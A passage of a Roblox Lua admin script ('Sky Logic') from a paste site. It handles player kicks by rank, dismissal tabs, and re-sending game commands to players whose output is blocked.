  1518. Tab(Player,"Dismiss",BrickColor.new("Crimson"),nil,function()
  1519. Dismiss(Player)
  1520. end)
  1521. end
  1522. if Admins[Player.Name] and Admins[Player.Name].Rank <= 1 then
  1523. if PrivateServer then
  1524. Player:Kick("Sky Logic: Private server :(")
  1525. end
  1526. end
  1527. if Admins[Player.Name].Rank < 1 then
  1528. Player:Kick("Sky Logic"..Admins[Player.Name].Reason)
  1529. end
  1530. Connect(Player)
  1531. end)
  1532. game:GetService("Players").PlayerRemoving:connect(function(Player)
  1533. Dismiss(Player)
  1534. end)
  1535. while wait() do
  1536. ypcall(function()
  1537. function SBExe(plr,cmd)
  1538. ypcall(function()
  1539. if not type(cmd)=='string'then return end
  1540. if plr then
  1541. if type(plr)=='userdata'then
  1542. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  1543. elseif type(plr)=='string'then
  1544. plr = game:GetService('Players'):FindFirstChild(plr)
  1545. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  1546. end
  1547. else
  1548. for i,v in pairs(game:GetService('Players'):children())do
  1549. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  1550. end
  1551. end
  1552. end)
  1553. end
  1554. if workspace.Terrain:findFirstChild("PointCodedWasHere") == nil then
  1555. local M = Instance.new("Model",workspace.Terrain)
  1556. M.Name = "PointCodedWasHere"
  1557. end
  1558. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1559. if Admins[Plr.Name].OutputBlocked == true and Plr:findFirstChild("OB") == nil then
  1560. local Z = Instance.new("StringValue",Plr)
  1561. Z.Name = "OB"
  1562. end
  1563. if Admins[Plr.Name].OutputBlocked == false and Plr:findFirstChild("OB") then
  1564. Plr.OB:Destroy()
  1565. end
  1566. Plr.Chatted:connect(function(msg)
  1567. msg = string.lower(msg)
  1568. if string.find(msg,"g/nog") or string.find(msg,"g/ng") and Admins[Plr.Name].OutputBlocked == true then
  1569. SBExe(Plr,"hl/"..NoOutput)
  1570. end
  1571. end)
  1572. end
  1573. Core.SuffixLength = string.len(Core.Suffix)
  1574. end)
  1575. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement